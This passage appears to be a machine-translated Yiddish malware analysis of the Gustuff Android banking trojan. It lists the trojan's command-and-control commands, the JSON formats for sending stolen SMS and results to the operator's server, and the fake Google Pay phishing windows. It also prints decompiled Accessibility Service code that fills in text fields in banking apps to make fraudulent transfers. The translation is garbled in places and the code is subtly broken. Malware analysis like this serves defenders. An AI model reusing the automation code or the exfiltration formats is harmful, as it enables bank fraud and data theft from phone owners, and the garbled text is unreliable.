| ืึทืืืื ื ืืืขืจ | ืืขืจ ืืึทืคึฟืขื ืืื ืืืืืื ื ืฆื ืึทืจืืขืื ืืื ืึท ืืืึธืจืฆื ื ืืืขืจ. ืืขืจ ืืึทืคึฟืขื ืึทืงืกืขืคึผืฅ ืึท JSON ืืืืคืขืฅ ืืื ืื ืคืืืืขื ืืข ืคึผืึทืจืึทืืขืืขืจืก: "ื ืืืขืจ" - ืืืืฉื ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("ROOT_NUMBER") ืฆื ืื ืืืงืืืขื ืืืขืจื, "ืจืขืื" - ืืืืฉื ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("SMS_ROOT_NUMBER_RESEND"), "ืกืขื ืืื" - ืฉืืงื ืฆื ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("ROOT_NUMBER" ) ืืื ืฆืืงืื. |
| updateInfo | ืฉืืงื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืื ืื ืคืขืงืืึทื ืืืื ืฆื ืื ืกืขืจืืืขืจ. |
| wipeData | ืืขืจ ืืึทืคึฟืขื ืืื ืืืขื ืฆื ืืืกืืขืงื ืืึทื ืืฆืขืจ ืืึทืื. ืืขืคึผืขื ืืื ื ืืืืฃ ืืืึธืก ื ืึธืืขื ืื ืึทืคึผืืึทืงืืืฉืึทื ืืื ืืึธื ืืฉื, ืึธืืขืจ ืื ืืึทืื ืืขื ืขื ืืึธืจ ืืจืืืกื ืืื ืึท ืืืื ืจืขืืึธืึธื (ืขืจืฉืืืง ืืึทื ืืฆืขืจ), ืึธืืขืจ ืืืืื ืืึทื ืืฆืขืจ ืืึทืื ืืขื ืขื ืืืืกืืขืืขืงื (ืฆืืืืืืืง ืืึทื ืืฆืขืจ). |
| socksStart | ืงืึทืืขืจ ืื ืคึผืจืึธืงืกื ืืึธืืืืข. ืื ืึธืคึผืขืจืึทืฆืืข ืคืื โโืื ืืึธืืืืข ืืื ืืืกืงืจืืืื ืืื ืึท ืืึทืืื ืืขืจ ืึธืคึผืืืืืื ื. |
| ืกืึทืงืก ืกืืึธืคึผ | ืืึทืืื ืื ืคึผืจืึธืงืกื ืืึธืืืืข. |
| ืึธืคึผืขื ืืื ืง | ืืื ืื ืืื ืง. ืืขืจ ืืื ืง ืืื ืืืื ืืื ืื JSON ืคึผืึทืจืึทืืขืืขืจ ืืื ืืขืจ ืื "URL" ืฉืืืกื. "android.intent.action.VIEW" ืืื ืืขื ืืฆื ืฆื ืขืคึฟืขื ืขื ืืขื ืืื ืง. |
| ืืคึผืืึธืึทื ืึทืืขืกืืก | ืฉืืงื ืึทืืข SMS ืึทืจืืืงืืขื ืืืงืืืขื ืืืจื ืื ืืืื ืฆื ืื ืกืขืจืืืขืจ. |
| ืืคึผืืึธืึทื ืึทืืข ืคืึธืืึธืก | ืฉืืงื ืืืืืขืจ ืคืื ืึท ืื ืคืขืงืืึทื ืืืื ืฆื ืึท URL. ืื URL ืงืืื ืืื ืึท ืคึผืึทืจืึทืืขืืขืจ. |
| ืืคึผืืึธืึทื ืืขืงืข | ืฉืืงื ืึท ืืขืงืข ืฆื ืึท URL ืคึฟืื ืึท ืื ืคืขืงืืึทื ืืืื. ืื URL ืงืืื ืืื ืึท ืคึผืึทืจืึทืืขืืขืจ. |
| ืืคึผืืึธืึทืืคืึธื ืขื ืืืืขืจืก | ืฉืืงื ืืขืืขืคืึธื ื ืืืขืจื ืคืื ืืืื ืงืึธื ืืึทืงื ืจืฉืืื ืฆื ืื ืกืขืจืืืขืจ. ืืืื ืึท JSON ืืืืคืขืฅ ืืืขืจื ืืื ืื ืฉืืืกื "ืึทื" ืืื ืืืงืืืขื ืืื ืึท ืคึผืึทืจืึทืืขืืขืจ, ืื ืึทืคึผืืึทืงืืืฉืึทื ื ืขืื ืึท ืจืฉืืื ืคืื ืงืึธื ืืึทืงืื ืคึฟืื ืื ืืขืืขืคืึธื ืืื. ืืืื ืึท JSON ืืืืคืขืฅ ืืื ืื ืฉืืืกื "SMS" ืืื ืืืงืืืขื ืืื ืึท ืคึผืึทืจืึทืืขืืขืจ, ืื ืึทืคึผืืึทืงืืืฉืึทื ืืืืขื ื ืื ืจืฉืืื ืคืื ืงืึธื ืืึทืงืื ืคืื ืื ืกืขื ืืขืจืก ืคืื SMS ืึทืจืืืงืืขื. |
| changeArchive | ืื ืึทืคึผืืึทืงืืืฉืึทื ืืึทืื ืืึธืืื ืื ืืขืงืข ืคึฟืื ืื ืึทืืจืขืก ืืืึธืก ืงืืื ืืื ืึท ืคึผืึทืจืึทืืขืืขืจ ืืื ืื "URL" ืฉืืืกื. ืื ืืึทืื ืืึธืืืื ืืขืงืข ืืื ืืขืจืืืขืืืขื ืืื ืื ื ืึธืืขื "archive.zip". ืื ืึทืคึผืืึทืงืืืฉืึทื ืืืขื ืืขืืึธืื ืึทื ืืืคึผ ืื ืืขืงืข, ืึธืคึผืืืึธื ืึทืืื ื ืืฆื ืื ืึทืจืงืืืื ืคึผืึทืจืึธื "b5jXh37gxgHBrZhQ4j3D". ืื ืึทื ืืืคึผืขื ืืขืงืขืก ืืขื ืขื ืืขืจืืืขืืืขื ืืื ืื [ืคืื ืืจืืืกื ืืืง ืกืืึธืจืืืืฉ]/ืืืคึผืก ืืืขืืืืืึทืืขืจ. ืืื ืืขื ืืืขืืืืืึทืืขืจ, ืื ืึทืคึผืืึทืงืืืฉืึทื ืกืืึธืจื ืืืขื ืคืึทืงืขืก (ืืืกืงืจืืืื ืืื ืื). |
| ืึทืงืฉืึทื ื | ืืขืจ ืืึทืคึฟืขื ืืื ืืืืืื ื ืฆื ืึทืจืืขืื ืืื Action Service, ืืืึธืก ืืื ืืืกืงืจืืืื ืืื ืึท ืืึทืืื ืืขืจ ืึธืคึผืืืืืื ื. |
| ืคึผืจืึธืืข | ืืื ืืึธืจื ืืฉื. |
| ืึธืคึผืืึธืืืจื | ืืขืจ ืืึทืคึฟืขื ืืื ืืืขื ืฆื ืึธืคึผืืึธืืืจื ืึท ืืขืงืข ืคึฟืื ืึท ืืืืึทื ืกืขืจืืืขืจ ืืื ืจืึทืืขืืืขื ืขืก ืืื ืื "ืืึทืื ืืึธืืื" ืืืขืืืืืึทืืขืจ. ืื URL ืืื ืืขืงืข ื ืึธืืขื ืงืืืขื ืืื ืึท ืคึผืึทืจืึทืืขืืขืจ, ืคืขืืืขืจ ืืื ืื JSON ืคึผืึทืจืึทืืขืืขืจ ืืืืคืขืฅ, ืจืืกืคึผืขืงืืืืืื: "URL" ืืื "FileName". |
| ืึทืจืึธืคึผื ืขืืขื | ืจืืืืืื ืึท ืืขืงืข ืคืื โโืื "Downloads" ืืืขืืืืืึทืืขืจ. ืืขืจ ืืขืงืข ื ืึธืืขื ืงืืื ืืื ืึท JSON ืคึผืึทืจืึทืืขืืขืจ ืืื ืื "FileName" ืฉืืืกื. ืืขืจ ื ืึธืจืืึทื ืืขืงืข ื ืึธืืขื ืืื "tmp.apk". |
| ืึธื ืืึธื | ืืืืึทืื ืึท ืึธื ืืึธื ืืื ืืึทืฉืจืืึทืืื ื ืืื ืืืื ืืขืงืกืื ืืืคืืื ื ืืืจื ืื ืคืึทืจืืืึทืืืื ื ืกืขืจืืืขืจ. |
ืืึทืคึฟืขืื ืคึฟืึธืจืืึทื ืึธื ืืึธื:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}ืื ืึธื ืืึธื ืืืฉืขื ืขืจืืืืึทื ืืืจื ืื ืืขืงืข ืืื ืืขืจ ืืืกืคืึธืจืฉืื ื ืงืืงื ืืืืขื ืืงืึทื ืฆื ืื ื ืึธืืืึทืคืึทืงืืืฉืึทื ื ืืืฉืขื ืขืจืืืืึทื ืืืจื ืื ืึทืคึผืืึทืงืืืฉืึทื ืกืคึผืขืกืืคืืขื ืืื ืืขื ืคืขืื ืึทืคึผ. ืืืื ืื ืคืขืื ืืืขืจื openApp - ืืืช, ืืืขื ืึท ืึธื ืืึธื ืืื ืึธืคึผืขื ืขื, ืื ืึทืคึผืืึทืงืืืฉืึทื ืกืคึผืขืกืืคืืขื ืืื ืืขื ืคืขืื ืืื ืืึธื ืืฉื ืึทืคึผ. ืืืื ืื ืคืขืื ืืืขืจื openApp โ ืคืืืฉ, ืืขืจืืืขืจ:
- ื ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ ืึธืคึผืขื ืก, ืืขืจ ืืื ืืึทืื ืคืื ืืืึธืก ืืื ืืึทืื ืืึธืืืื ืคืื ืื ืืืขืืืืืึทืืขืจ <% ืคืื ืืจืืืกื ืืืง ืกืืึธืจืืืืฉ%> / ืืืคึผืก / <% ืืขืงืข ื ืึธืืขื%>
- ื ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ ืึธืคึผืขื ืก, ืืขืจ ืืื ืืึทืื ืคืื ืืืึธืก ืืื ืืึทืื ืืึธืืืื ืคืื ืื ืกืขืจืืืขืจ <% URL%>?ืื=<%Bot id%>&app=<%ืึทืคึผืคึผืืืงืึทืืืึธื ื ืึธืืขื%>
- ื ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ ืึธืคึผืขื ืก, ืืืกืืืืื ืืื ืึท Google ืคึผืืืึท ืงืึทืจื, ืืื ืื ืืขืืขืื ืืืื ืฆื ืึทืจืืึทื ืงืึธืจื ืคืจืืื.
ืื ืึทืคึผืืึทืงืืืฉืึทื ืกืขื ืื ืื ืจืขืืืืืึทื ืคืื ืงืืื ืืึทืคึฟืขื ืฆื <%CnC%>set_state.php ืืื ืึท JSON ืืืืคืขืฅ ืืื ืื ืคืืืืขื ืืข ืคึฟืึธืจืืึทื:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
ActionsService
ืื ืจืฉืืื ืคืื ืงืึทืืึทื ืื ืืืึธืก ืื ืึทืคึผืืึทืงืืืฉืึทื ืคึผืจืึทืกืขืกืึทื ืืืื ืึทืงืฆืืข. ืืืขื ืึท ืืึทืคึฟืขื ืืื ืืืงืืืขื, ืื ืืึทืคึฟืขื ืคึผืจืึทืกืขืกืื ื ืืึธืืืืข ืึทืงืกืขืก ืืขื ืืื ืกื ืฆื ืืืกืคืืจื ืื ืขืงืกืืขื ืืขื ืืึทืคึฟืขื. ืื ืกืขืจืืืืก ืึทืงืกืขืคึผืฅ ืึท JSON ืืืืคืขืฅ ืืื ืึท ืคึผืึทืจืึทืืขืืขืจ. ืื ืกืขืจืืืืก ืงืขื ืขื ืืืกืคืืจื ืื ืคืืืืขื ืืข ืงืึทืืึทื ืื:
1. PARAMS_ACTION - ืืืขื ืืืจ ืืึทืงืืืขื ืึทืืึท ืึท ืืึทืคึฟืขื, ืื ืกืขืจืืืืก ืขืจืฉืืขืจ ื ืขืื ืคึฟืื ืื JSON ืคึผืึทืจืึทืืขืืขืจ ืื ืืืขืจื ืคืื ืื ืืืคึผ ืฉืืืกื, ืืืึธืก ืงืขื ืืืื ืืื ืืืื:
- serviceInfo - ืื ืกืึทืืงืึทืืึทื ื ืืขืฅ ืื ืืืขืจื ืืืจื ืฉืืืกื ืคึฟืื ืื JSON ืคึผืึทืจืึทืืขืืขืจ includeNotImportant. ืืืื ืื ืคืึธื ืืื ืืืช, ืื ืึทืคึผืืึทืงืืืฉืึทื ืืึทืฉืืขืืืงื ืื ืคืึธื FLAG_ISOLATED_PROCESS ืฆื ืึท ืืื ืกื ื ืืฆื ืื ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก. ืืขื ืืืขื ืื ืืื ืกื ืืืขื ืืืื ืืึธื ืืฉื ืืื ืึท ืืึทืืื ืืขืจ ืคึผืจืึธืฆืขืก.
- ืืืึธืจืฆื - ืืึทืงืืืขื ืืื ืฉืืงื ืฆื ืื ืกืขืจืืืขืจ ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืื ืคึฟืขื ืฆืืขืจ ืืืึธืก ืืื ืืืฆื ืืื ืคืึธืงืืก. ืื ืึทืคึผืืึทืงืืืฉืึทื ืืืงืืื ืืื ืคึฟืึธืจืืึทืฆืืข ืืื ืื AccessibilityNodeInfo ืงืืึทืก.
- ืึทืืืื โ ืืขืื ืึทืืืื ืืกืืจืึทืืึธืจ ืจืขืื.
- ืคืึทืจืืึทืืื - ืืคืืขื ืืขื ืื ActionsService ืคึฟืึทืจ ืื ื ืืืขืจ ืคืื ืืืืืกืขืงืึทื ืื ืกืคึผืขืกืืคืืขื ืืื ืื ืคึผืึทืจืึทืืขืืขืจ ืคึฟืึทืจ ืื "ืืึทืื" ืฉืืืกื.
- ืคึฟืขื ืฆืืขืจ - ืฉืืงื ืึท ืจืฉืืื ืคืื ืคึฟืขื ืฆืืขืจ ืงืขื ืืืง ืฆื ืืขืจ ืืึทื ืืฆืขืจ.
- ืื ืกืืึทืืืจื - ืื ืกืืึทืืืจื ืื ืึทืคึผืืึทืงืืืฉืึทื ืืืืฃ ืื ืื ืคืขืงืืึทื ืืืื. ืืขืจ ื ืึธืืขื ืคืื ืืขื ืึทืจืงืืืื ืคึผืขืงื ืืื ืืื ืื "ืืขืงืข ื ืึทืืข" ืฉืืืกื. ืืขืจ ืึทืจืงืืืื ืืื ืืื ืืืื ืืื ืื ืืึทืื ืืึธืืื ืืืขืืืืืึทืืขืจ.
- ืืืืืืืข - ืื ืกืึทืืงืึทืืึทื ื ืืื ืืืขื ืฆื ื ืึทืืืืืืจื ืคึฟืื ืืขื ืงืจืึทื ื ืคึฟืขื ืฆืืขืจ:
- ืืืืฃ ืื ืงืืืืง ืกืขืืืื ืืก ืืขื ืื
- backwards
- ืืืื
- ืฆื ื ืึธืืืึทืคืึทืงืืืฉืึทื ื
- ืฆื ืื ืืขืฆืื ืก ืืขืขืคื ื ืึทืคึผืืึทืงืืืฉืึทื ื ืคึฟืขื ืฆืืขืจ
- ืงืึทืืขืจ - ืงืึทืืขืจ ืื ืึทืคึผืืึทืงืืืฉืึทื. ืืขืจ ืึทืคึผืืึทืงืืืฉืึทื ื ืึธืืขื ืงืืื ืืื ืึท ืคึผืึทืจืึทืืขืืขืจ ืืืจื ืฉืืืกื ืืึทืืข.
- ืกืึธืื ืืก - ืืืืฉื ืื ืืขืืื ื ืืึธืืข ืฆื ืฉืืืืงืืึทื.
- ืืคืฉืืืกื - ืืืจื ืก ืืืืฃ ืื ืืึทืงืืืื ืคืื ืืขื ืขืงืจืึทื ืืื ืงืืึทืืืืึทืืืจ ืฆื ืคืื ืืจืืืื ืึทืก. ืื ืึทืคึผืืึทืงืืืฉืึทื ืคึผืขืจืคืึธืจืื ืืขื ืงืึทืืฃ ื ืืฆื WakeLock, ืกืคึผืขืฆืืคืืฆืืจื ืื ืฉืืจืืงื [ืึทืคึผืคึผืืืงืึทืืืึธื ืืืื]: INFO ืืื ืึท ืงืืืืื
- permissionOverlay - ืื ืคึฟืื ืงืฆืืข ืืื ื ืืฉื ืืืคึผืืึทืืขื ืึทื (ืืขืจ ืขื ืืคืขืจ ืฆื ืื ืืึทืคึฟืขืื ืืืจืืคืืจืื ื ืืื {"message":"ื ืื ืฉืืืฆื"} ืึธืืขืจ {"message":"low sdk"})
- ืืึทืืืืึทืข - ืื ืคึฟืื ืงืฆืืข ืืื ื ืืฉื ืืืคึผืืึทืืขื ืึทื (ืืขืจ ืขื ืืคืขืจ ืฆื ืื ืืืจืืคืืจืื ื ืคืื ืื ืืึทืคึฟืขื ืืื {"message":"not support"} ืึธืืขืจ {"message":"low API"})
- ืคึผืขืจืืืฉืึทื ื - ืืขื ืืึทืคึฟืขื ืืื ื ืืืืืง ืฆื ืืขืื ืคึผืขืจืืืฉืึทื ื ืคึฟืึทืจ ืื ืึทืคึผืืึทืงืืืฉืึทื. ืึธืืขืจ, ืื ืึธื ืคึฟืจืขื ืคึฟืื ืงืฆืืข ืืื ื ืืฉื ืืืคึผืืึทืืขื ืึทื, ืึทืืื ืื ืืึทืคึฟืขื ืืื ืืื ืื ืืืึทืก. ืื ืจืฉืืื ืคืื ืืขืืขืื ืจืขืื ืงืืื ืืื ืึท JSON ืืขื ืืข ืืื ืื "ืคึผืขืจืืืฉืึทื ื" ืฉืืืกื. ื ืึธืจืืึทื ืจืฉืืื:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- ืขืคืขื ืขื โ ืืืืึทื ืึท ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ. ืืขืคึผืขื ืืื ื ืืืืฃ ืื ืคึผืึทืจืึทืืขืืขืจ ืคืื ืื ืกืขืจืืืขืจ, ืื ืึทืคึผืืึทืงืืืฉืึทื ืงืขื ืืืืึทืื ืื ืคืืืืขื ืืข ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ:
- ืืืืึทืื ืึท ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ ืืืขืืขื ืก ืืื ืืึทืื ืืื ืืขืฉืจืืื ืืื ืึท ืืขืงืข ืืื ืึท ืืืขืืืืืึทืืขืจ <% ืคืื ืืจืืืกื ืืืง ืืืขืืืืืึทืืขืจ%> / ืืืคึผืก / <% ืคึผืึทืจืึทื_ืคืืืขื ืึทืืข%>. ืืขืจ ืจืขืืืืืึทื ืคืื ืืึทื ืืฆืขืจ ืื ืืขืจืึทืงืฉืึทื ืืื ืื ืคึฟืขื ืฆืืขืจ ืืืขื ืืืื ืืขืฉืืงื ืฆื <%CnC%>/records.php
- ืืืืึทืื ืึท ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ ืืืขืืขื ืก ืืื ืืึทืื ืืื ืคืึทืจ-ืืึธืืืื ืคืื ืื ืึทืืจืขืก <%url_param%>?id=<%bot_id%>&app=<%packagename%>. ืืขืจ ืจืขืืืืืึทื ืคืื ืืึทื ืืฆืขืจ ืื ืืขืจืึทืงืฉืึทื ืืื ืื ืคึฟืขื ืฆืืขืจ ืืืขื ืืืื ืืขืฉืืงื ืฆื <%CnC%>/records.php
- ืืืืึทืื ืึท ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ ืืืกืืืืื ืืื ืึท Google ืคึผืืืึท ืงืึทืจื.
- ืื ืขืจืึทืงืืืื - ืืขืจ ืืึทืคึฟืขื ืืื ืืืืืื ื ืฆื ืื ืืขืจืึทืงื ืืื ืคึฟืขื ืฆืืขืจ ืขืืขืืขื ืื ืคืื ืื ืืขืจืข ืึทืคึผืืึทืงืืืฉืึทื ื ื ืืฆื ืึทืกืขืกืกืืืืืืื ืกืขืจืืืืก. ื ืกืคึผืขืฆืืขืืข ืืื ืกื ืืื ืืืคึผืืึทืืขื ืึทื ืืื ืืขื ืคึผืจืึธืืจืึทื ืคึฟืึทืจ ืื ืืขืจืึทืงืฉืึทื. ืื ืึทืคึผืืึทืงืืืฉืึทื ืืื ืืขืจ ืืืกืคืึธืจืฉืื ื ืงืขื ืขื ืื ืืขืจืึทืงื ืืื Windows:
- ืืืฆื ืึทืงืืืื. ืืื ืืขื ืคืึทื, ืืขืจ ืคึผืึทืจืึทืืขืืขืจ ืึผืืื ืื ืฉืืึทื ืึธืืขืจ ืืขืงืกื (ื ืึธืืขื) ืคืื ืื ืืืืคืขืฅ ืืื ืืืึธืก ืืืจ ืืึทืจืคึฟื ืฆื ืื ืืขืจืึทืงื.
- ืงืขื ืืืง ืฆื ืืขืจ ืืึทื ืืฆืขืจ ืืื ืืขืจ ืฆืืื ืืืขื ืื ืืึทืคึฟืขื ืืื ืขืงืกืึทืงืืืืึทื. ืื ืึทืคึผืืึทืงืืืฉืึทื ืกืึทืืขืงืฅ ืคึฟืขื ืฆืืขืจ ืืืจื ืฉืืึทื.
ืืืืื ืืืงืืืขื ืึทืืืืฉืขืงืฅ AccessibilityNodeInfo ืคึฟืึทืจ ืคึฟืขื ืฆืืขืจ ืขืืขืืขื ืื ืคืื ืืื ืืขืจืขืก, ืื ืึทืคึผืืึทืงืืืฉืึทื, ืืืคึผืขื ืืื ื ืืืืฃ ืื ืคึผืึทืจืึทืืขืืขืจืก, ืงืขื ืขื ืืืจืืคืืจื ืื ืคืืืืขื ืืข ืึทืงืฉืึทื ื:
- ืคืึธืงืืก - ืฉืืขืื ืคืึธืงืืก ืฆื ืื ืืืืคืขืฅ.
- ืืื - ืืจืืงื ืืืืฃ ืึท ืืืืคืขืฅ.
- actionId - ืืืจืืคืืจื ืึทื ืึทืงืฆืืข ืืืจื ID.
- setText - ืืืืฉื ืืขื ืืขืงืกื ืคืื ืึท ืืืืคืขืฅ. ืืฉืึทื ืืื ื ืื ืืขืงืกื ืืื ืืขืืืขื ืืื ืฆืืืื ืืืขืื: ืืืจืืคืืจื ืึท ืงืึทืืฃ ACTION_SET_TEXT (ืืืื ืื ืึทื ืืจืืื ืืืขืจืกืืข ืคืื โโโโืื ืื ืคืขืงืืึทื ืืืื ืืื ืืื ืืขืจ ืืื ืึธืืขืจ ืืืืึทื ืฆื ืืึทืืืคึผืึทืคึผ), ืึธืืขืจ ืืืจื ืคึผืืืืกืื ื ืึท ืฉืืจืืงื ืืืืฃ ืื ืงืืืคึผืืึธืจื ืืื ืคึผืึทืคึผ ืขืก ืืื ืึท ืืืืคืขืฅ (ืคึฟืึทืจ ืขืืืขืจืข ืืืขืจืกืืขืก). ืืขื ืืึทืคึฟืขื ืงืขื ืขื ืืืขืจื ืืขื ืืฆื ืฆื ืืืืฉื ืืึทืื ืืื ืึท ืืึทื ืงืื ื ืึทืคึผืืึทืงืืืฉืึทื.
2. PARAMS_ACTIONS - ืืืื ืืื PARAMS_ACTION, ืืืืื ืึท JSON ืืขื ืืข ืคืื โโืงืึทืืึทื ืื ืงืืื.
ืขืก ืืืื ื ืึทื ืคืืืข ืืขื ืืฉื ืืืขืื ืืืื ืืื ืืขืจืขืกืืจื ืืื ืืื ืื ืคืื ืงืฆืืข ืคืื โโืื ืืขืจืึทืงืืื ื ืืื ืคึฟืขื ืฆืืขืจ ืขืืขืืขื ืื ืคืื ืื ืื ืืขืจ ืึทืคึผืืึทืงืืืฉืึทื ืงืืงื ืืื. ืืึธืก ืืื ืืื ืื ืคืึทื ืืงืฉืึทื ืึทืืืื ืืื ืืืคึผืืึทืืขื ืึทื ืืื Gustuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}ืืขืงืกื ืคืึทืจืืืึทื ืคึฟืื ืงืฆืืข:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}ืืืื, ืืื ืื ืจืืืืืง ืงืึทื ืคืืืืขืจืืืฉืึทื ืคืื ืื ืงืึธื ืืจืึธื ืกืขืจืืืขืจ, Gustuff ืืื ืืืืืืช ืฆื ืคึผืืึธืืืืจื ืืขืงืกื ืคืขืืืขืจ ืืื ืื ืืึทื ืงืื ื ืึทืคึผืืึทืงืืืฉืึทื ืืื ืืื ืื ืงื ืขืคึผืืขื ืฆื ืคืึทืจืขื ืืืงื ืื ืืจืึทื ืกืึทืงืืืึธื. ืื ืืจืึธืืืฉืึทื ืืื ื ืืฉื ืืคืืื ืืึทืจืคึฟื ืฆื ืงืืึธืฅ ืืื ืฆื ืื ืึทืคึผืืึทืงืืืฉืึทื - ืขืก ืืื ืืขื ืื ืฆื ืฉืืงื ืึท ืืึทืคึฟืขื ืฆื ืืืืึทืื ืึท PUSH ืึธื ืืึธื ืืื ืืขืจื ืึธื ืขืคึฟืขื ืขื ืื ืคืจืืขืจ ืืื ืกืืึทืืืจื ืืึทื ืงืื ื ืึทืคึผืืึทืงืืืฉืึทื. ืืขืจ ืืึทื ืืฆืขืจ ืืืขื ืึธืืขื ืืึทืงืืื ืืื, ื ืึธื ืืืึธืก Gustuff ืืืขื ืงืขื ืขื ืฆื ืคึผืืึธืืืืจื ืื ืืึทืฉืื.
SMS ืึธื ืืึธื ืคึผืจืึทืกืขืกืื ื ืืึธืืืืข
ืื ืึทืคึผืืึทืงืืืฉืึทื ืื ืกืืึธืื ืึท ืืขืฉืขืขื ืืฉ ืืึทื ืืืขืจ ืคึฟืึทืจ ืื ืื ืคืขืงืืึทื ืืืื ืฆื ืึธื ื ืขืืขื SMS ืึทืจืืืงืืขื. ืื ืึทืคึผืืึทืงืืืฉืึทื ืืื ืืขืจ ืืขืจื ืขื ืงืขื ืขื ืืึทืงืืืขื ืงืึทืืึทื ืื ืคืื ืืขืจ ืึธืคึผืขืจืึทืืึธืจ, ืืืึธืก ืงืืืขื ืืื ืื ืืืฃ ืคืื ืื SMS ืึธื ืืึธื. ืงืึทืืึทื ืื ืงืืืขื ืืื ืืขื ืคึฟืึธืจืืึทื:
7!5=<%ืืึทืกืข64 ืงืึธืืขื ืืึทืคึฟืขื%>
ืื ืึทืคึผืืึทืงืืืฉืึทื ืืืื ืคึฟืึทืจ ืื ืฉืืจืืงื ืืื ืึทืืข ืื ืงืึทืืื ื SMS ืึทืจืืืงืืขื 7!5=, ืืืขื ืึท ืฉืืจืืงื ืืื ืืืืขืงืืึทื, ืขืก ืืขืงืึธืืขืก ืื ืฉืืจืืงื ืคึฟืื Base64 ืืื ืคืึธืืึธ 4 ืืื ืขืงืกืึทืงืืืฅ ืื ืืึทืคึฟืขื. ืื ืงืึทืืึทื ืื ืืขื ืขื ืขื ืืขื ืฆื ืื ืืื CnC. ืืขืจ ืืืจืืคืืจืื ื ืจืขืืืืืึทื ืืื ืืขืฉืืงื ืฆื ืืขืจ ืืขืืืืงืขืจ ื ืืืขืจ ืคืื ืืืึธืก ืื ืืึทืคึฟืขื ืืื ืืขืงืืืขื. ืขื ืืคืขืจ ืคึฟืึธืจืืึทื:
7*5=<%Base64 ืขื ืงืึธืื ืคืื "ืจืขืืืืืึทื_ืงืึธืืข ืืึทืคึฟืขื"%>
ืึธืคึผืืืึธื ืึทืืื, ืื ืึทืคึผืืึทืงืืืฉืึทื ืงืขื ืขื ืฉืืงื ืึทืืข ืืืงืืืขื ืึทืจืืืงืืขื ืฆื ืื ืืืึธืจืฆื ื ืืืขืจ. ืฆื ืืึธื ืืึธืก, ืื ืืืึธืจืฆื ื ืืืขืจ ืืืื ืืืื ืกืคึผืขืกืืคืืขื ืืื ืื ืืืืขืจืืึทื ื ืืขืงืข ืืื ืืขืจ ืึธื ืืึธื ืจืืืขืจืขืงืฉืึทื ืคืึธื ืืืื ืืืื ืฉืืขืื. ืึท SMS ืึธื ืืึธื ืืื ืืขืฉืืงื ืฆื ืื ืึทืืึทืงืขืจ 'ืก ื ืืืขืจ ืืื ืืขื ืคึฟืึธืจืืึทื:
<% ืคึฟืื ื ืืืขืจ%> โโ- <% ืฆืืื, ืคึฟืึธืจืืึทื: dd/MM/yyyy HH:mm:ss%> <%SMS body%>
ืืืื, ืึธืคึผืืืึธื ืึทืืื, ืื ืึทืคึผืืึทืงืืืฉืึทื ืงืขื ืขื ืฉืืงื ืึทืจืืืงืืขื ืฆื CnC. ืื SMS ืึธื ืืึธื ืืื ืืขืฉืืงื ืฆื ืื ืกืขืจืืืขืจ ืืื JSON ืคึฟืึธืจืืึทื:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}ืืืื ืื ืคืึธื ืืื ืืึทืฉืืืื ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("DEFAULT_APP_SMS") - ืื ืึทืคึผืืึทืงืืืฉืึทื ืกืืึทืคึผืก ืคึผืจืึทืกืขืกืื ื ืื SMS ืึธื ืืึธื ืืื ืงืืืจื ืื ืจืฉืืื ืคืื ืื ืงืึทืืื ื ืึทืจืืืงืืขื.
ืคึผืจืึธืงืกื ืืึธืืืืข
